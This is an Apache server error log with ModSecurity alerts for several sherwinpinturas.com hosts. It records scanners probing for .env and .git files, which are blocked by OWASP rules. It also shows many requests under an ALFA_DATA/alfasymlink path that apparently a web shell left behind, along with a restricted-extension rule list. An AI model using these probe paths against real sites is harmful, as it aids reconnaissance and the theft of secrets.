[Sat Oct 24 20:51:38.755112 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1Smj8oejtZfsaip1YofgAAABE"]
[Sat Oct 24 20:51:38.783541 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1Smj8oejtZfsaip1YofwAAABE"]
[Sat Oct 24 20:51:38.783784 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1Smj8oejtZfsaip1YofwAAABE"]
[Sat Oct 24 20:51:38.784135 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1Smj8oejtZfsaip1YofwAAABE"]
[Sat Oct 24 20:51:38.793378 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1Smj8oejtZfsaip1YogAAAABE"]
[Sat Oct 24 20:51:38.793534 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1Smj8oejtZfsaip1YogAAAABE"]
[Sat Oct 24 20:51:38.793772 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1Smj8oejtZfsaip1YogAAAABE"]
[Sat Oct 24 20:51:42.149985 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 50.19.79.213:56994] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:51:46.137536 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 98.82.63.147:55074] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:51:53.605065 2026] [core:crit] [pid 2693035:tid 2693035] (13)Permission denied: [client 205.210.31.236:58522] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 20:51:53.848137 2026] [core:crit] [pid 2693020:tid 2693020] (13)Permission denied: [client 205.210.31.236:58532] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 20:52:06.279686 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.231.45.47:28618] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:52:08.093995 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 85.208.96.206:19472] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/slabs_cpu_partial
[Sat Oct 24 20:52:10.130780 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 54.89.90.224:10686] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/PNP0A06:01/subsystem/devices/PNP0A03:00/device:05/physical_node/resource1
[Sat Oct 24 20:52:12.288831 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 185.191.171.8:27694] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-128/align
[Sat Oct 24 20:52:23.632123 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 216.244.66.250:53982] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/4770/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/4770/fd/' is executable
[Sat Oct 24 20:52:23.632196 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 216.244.66.250:53982] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/4770/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/4770/map_files/' is executable
[Sat Oct 24 20:52:23.632211 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 216.244.66.250:53982] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/4770/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/4770/fdinfo/' is executable
[Sat Oct 24 20:52:26.300582 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.94.40.182:19020] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:52:30.133852 2026] [security2:error] [pid 2692979:tid 2692979] [client 216.244.66.250:38642] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/beta/PHPMailer/language/phpmailer.lang-ca.php"] [unique_id "at1SzvavbqLdB7btCU-96QAAABc"]
[Sat Oct 24 20:52:30.133889 2026] [security2:error] [pid 2692979:tid 2692979] [client 216.244.66.250:38642] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/beta/PHPMailer/language/phpmailer.lang-ca.php"] [unique_id "at1SzvavbqLdB7btCU-96QAAABc"]
[Sat Oct 24 20:52:34.135437 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 3.221.222.168:15354] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXCPU:00/physical_node/firmware_node/subsystem/drivers_probe
[Sat Oct 24 20:52:42.187970 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 35.153.86.200:29705] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:52:46.134090 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 184.72.84.154:58818] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:52:50.471291 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 85.208.96.198:57870] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_defrag_ipv6/sections/__mcount_loc
[Sat Oct 24 20:52:54.246474 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.45.15.233:11043] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:53:06.131775 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 52.4.76.156:60391] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:53:09.298245 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 85.208.96.210:60674] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/signal_cache/poison
[Sat Oct 24 20:53:18.142323 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 34.225.24.180:56481] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/pci/drivers/ata_piix/module/sections/__bug_table
[Sat Oct 24 20:53:18.832956 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 185.191.171.16:64470] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/scripts/elevate-cpanel
[Sat Oct 24 20:53:22.170930 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.159.98.248:48370] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:53:26.128535 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.209.174.110:64116] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:53:30.233474 2026] [core:error] [pid 2733464:tid 2733464] (13)Permission denied: [client 3.208.146.193:1845] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/kernel/slab/rpc_tasks/align
[Sat Oct 24 20:53:35.391344 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 85.208.96.194:40898] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-2k/order
[Sat Oct 24 20:53:38.651570 2026] [security2:error] [pid 2731612:tid 2731612] [client 216.244.66.250:34896] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/idmapd.conf"] [unique_id "at1TEkBkaIab1Zyjz6CVFQAAAAU"]
[Sat Oct 24 20:53:38.651954 2026] [security2:error] [pid 2731612:tid 2731612] [client 216.244.66.250:34896] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/idmapd.conf"] [unique_id "at1TEkBkaIab1Zyjz6CVFQAAAAU"]
[Sat Oct 24 20:53:38.652177 2026] [security2:error] [pid 2731612:tid 2731612] [client 216.244.66.250:34896] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/idmapd.conf"] [unique_id "at1TEkBkaIab1Zyjz6CVFQAAAAU"]
[Sat Oct 24 20:53:54.138835 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 100.29.160.53:59676] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty22/subsystem/ttyS1/xmit_fifo_size
[Sat Oct 24 20:54:02.130923 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.83.180.239:34985] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:54:14.135223 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 18.215.49.176:22588] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/virtual/graphics/fbcon/subsystem/fb0/subsystem/fbcon/rotate_all
[Sat Oct 24 20:54:22.138703 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.84.147.79:26108] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:54:26.124821 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.204.253.129:37874] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:54:30.146126 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 50.16.72.185:28559] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/files_cache/store_user
[Sat Oct 24 20:54:34.114913 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 98.83.10.183:35114] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/rpc_tasks/objs_per_slab
[Sat Oct 24 20:54:38.126188 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 54.84.250.51:48525] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/module/ata_piix/drivers/pci:ata_piix/unbind
[Sat Oct 24 20:54:46.123702 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 34.238.45.183:14250] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/dma-kmalloc-96/cpu_slabs
[Sat Oct 24 20:54:47.573635 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 185.191.171.6:23806] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/tmp/tmp.wJdSw77hWW
[Sat Oct 24 20:54:54.219995 2026] [security2:error] [pid 2692918:tid 2692918] [client 34.195.248.30:49914] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/device:0f/subsystem/drivers/hardware_error_device/"] [unique_id "at1TXrUNAjBk2uOT2T-HCgAAAAo"]
[Sat Oct 24 20:54:54.220039 2026] [security2:error] [pid 2692918:tid 2692918] [client 34.195.248.30:49914] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/device:0f/subsystem/drivers/hardware_error_device/"] [unique_id "at1TXrUNAjBk2uOT2T-HCgAAAAo"]
[Sat Oct 24 20:55:14.145775 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.152.163.42:34275] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:55:14.150298 2026] [security2:error] [pid 2684583:tid 2684583] [client 80.94.92.126:36034] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at1Tcj8oejtZfsaip1YoigAAABE"]
[Sat Oct 24 20:55:14.150499 2026] [security2:error] [pid 2684583:tid 2684583] [client 80.94.92.126:36034] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at1Tcj8oejtZfsaip1YoigAAABE"]
[Sat Oct 24 20:55:14.150810 2026] [security2:error] [pid 2684583:tid 2684583] [client 80.94.92.126:36034] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at1Tcj8oejtZfsaip1YoigAAABE"]
[Sat Oct 24 20:55:18.590699 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 44.218.170.184:56391] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:55:26.125407 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.45.92.83:36915] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:55:30.133544 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 54.235.191.179:61507] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:55:34.128095 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 100.29.34.97:35103] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:55:54.112766 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 35.171.117.160:44493] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:56:06.112054 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 3.226.34.98:21777] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:56:12.811811 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 85.208.96.209:57006] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/MPTCP/store_user
[Sat Oct 24 20:56:14.119888 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 34.199.252.22:44376] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:56:18.117313 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.235.172.108:54937] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:56:24.273055 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 85.208.96.209:12032] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/posix_timers_cache/objs_per_slab
[Sat Oct 24 20:56:34.127768 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.213.213.161:9234] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:56:46.231393 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 52.1.106.130:37101] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:56:54.116387 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 18.213.240.226:59847] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:57:02.122164 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 23.23.99.55:28322] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:57:06.143825 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 98.82.63.147:61995] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:57:14.414062 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.211.39.188:43863] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:57:22.193090 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.235.172.96:23121] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:57:26.115196 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.194.95.99:25481] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:57:30.119468 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 34.236.185.101:34954] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:57:34.106050 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 18.232.11.247:22086] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:57:42.115702 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 44.209.187.99:27202] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:57:46.101566 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 23.21.225.190:42424] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:01/PNP0B00:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:02/subsystem/drivers/thermal/uevent
[Sat Oct 24 20:57:51.536098 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 85.208.96.195:62026] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/sanity_checks
[Sat Oct 24 20:58:30.141029 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 34.194.226.74:34720] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:58:34.102831 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.214.176.44:16693] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:58:38.146398 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 34.224.132.215:45343] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:58:42.221978 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.45.92.83:44179] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:58:46.165184 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 18.215.112.101:3096] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:58:54.174618 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 34.231.181.240:13692] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:58:58.115829 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 54.92.171.106:36299] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:59:02.177425 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.225.9.97:35911] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:59:03.994693 2026] [core:error] [pid 2733464:tid 2733464] (13)Permission denied: [client 185.191.171.18:33410] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-1k/min_partial
[Sat Oct 24 20:59:18.124785 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 44.197.76.210:3358] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:59:26.120889 2026] [ssl:error] [pid 2731598:tid 2731598] (22)Invalid argument: [client 23.22.59.87:13784] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:59:30.109189 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.3.104.214:34530] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:59:41.367137 2026] [security2:error] [pid 2693034:tid 2693034] [client 45.138.12.188:36924] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1UfVQTwXU83R4GW_ma6wAAACg"]
[Sat Oct 24 20:59:41.367466 2026] [security2:error] [pid 2693034:tid 2693034] [client 45.138.12.188:36924] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1UfVQTwXU83R4GW_ma6wAAACg"]
